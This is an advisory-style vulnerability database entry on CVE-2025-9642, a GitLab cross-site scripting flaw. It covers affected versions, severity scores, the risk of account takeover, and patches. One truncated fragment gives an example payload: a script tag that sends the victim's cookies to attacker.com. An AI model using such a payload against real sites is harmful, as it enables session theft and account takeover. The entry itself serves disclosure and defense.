
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-9642 is a Cross-Site Scripting (XSS) vulnerability in GitLab Community Edition (CE) and Enterprise Edition (EE) that allows attackers to inject malicious content potentially leading to account takeover. It affects all GitLab versions from 14.10 before 18.2.7, 18.3 before 18.3.3, and 18.4 before 18.4.1. The vulnerability was disclosed on September 26, 2025, with patches released the same day. NVD assigns a CVSS v3.1 base score of 9.6 (Critical), while GitLab's own CNA scoring yields 8.7 (High) (GitLab Advisory, Red Hat CVE).
The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), rooted in insufficient input validation during web page generation within GitLab's interface. An attacker can craft and inject malicious content (e.g., JavaScript payloads) into GitLab pages that, when rendered in a victim's browser, execute in the context of the GitLab application. Exploitation requires user interaction (the victim must visit or interact with attacker-controlled content), and no authentication is required per NVD's scoring, though GitLab's own CNA scoring indicates low-privilege access is needed. The vulnerability was originally reported via HackerOne (report #3297413) and tracked internally at GitLab issue #566505 (Red Hat CVE, GitLab Advisory).
Successful exploitation can lead to full account takeover, granting attackers unauthorized access to victim GitLab accounts, including control over repositories, CI/CD pipelines, secrets, and sensitive project data. The NVD-assessed impact is high across confidentiality, integrity, and availability, with a changed scope indicating the attack can affect resources beyond the vulnerable component itself. In organizational environments, a compromised GitLab account could enable lateral movement into source code, deployment infrastructure, or connected services (Red Hat CVE, GitLab Advisory).
As of the disclosure date, there was no confirmed evidence of active in-the-wild exploitation, and no public proof-of-concept was initially available. However, a blog post published on October 6, 2025 claimed a public exploit was available for this vulnerability (CryptoBivash Blog). The EPSS score is approximately 0.018% (0.000180), indicating a currently low probability of exploitation in the wild. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog as of the time of reporting, though CISA referenced it in its weekly vulnerability bulletin for the week of September 22, 2025 (CISA Bulletin).
/help).<script>document.location='https://attacker.com/steal?c='+document.cookie</script> or a more sophisticated payload using fetch() to exfiltrate tokens).GitLab has released patched versions addressing this vulnerability: 18.2.7, 18.3.3, and 18.4.1. All GitLab CE/EE administrators should upgrade to one of these versions immediately. For organizations unable to patch immediately, recommended interim controls include restricting GitLab access to trusted network segments, enforcing multi-factor authentication (MFA) to limit the impact of session hijacking, and monitoring for anomalous account activity. Users should be advised to avoid clicking unsolicited links to GitLab pages (GitLab Advisory).
GitLab disclosed the vulnerability through its standard patch release process on September 25–26, 2025, alongside several other fixes in the 18.4.1, 18.3.3, and 18.2.7 releases. CISA included the CVE in its weekly vulnerability bulletin for the week of September 22, 2025, signaling broader government awareness. A blog post from October 6, 2025 claimed a public exploit was available and characterized the flaw as leading "directly to account takeover," though the reliability of this source is unverified. Qualys and Tenable both published detection plugins for the vulnerability shortly after disclosure (GitLab Advisory, CISA Bulletin).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."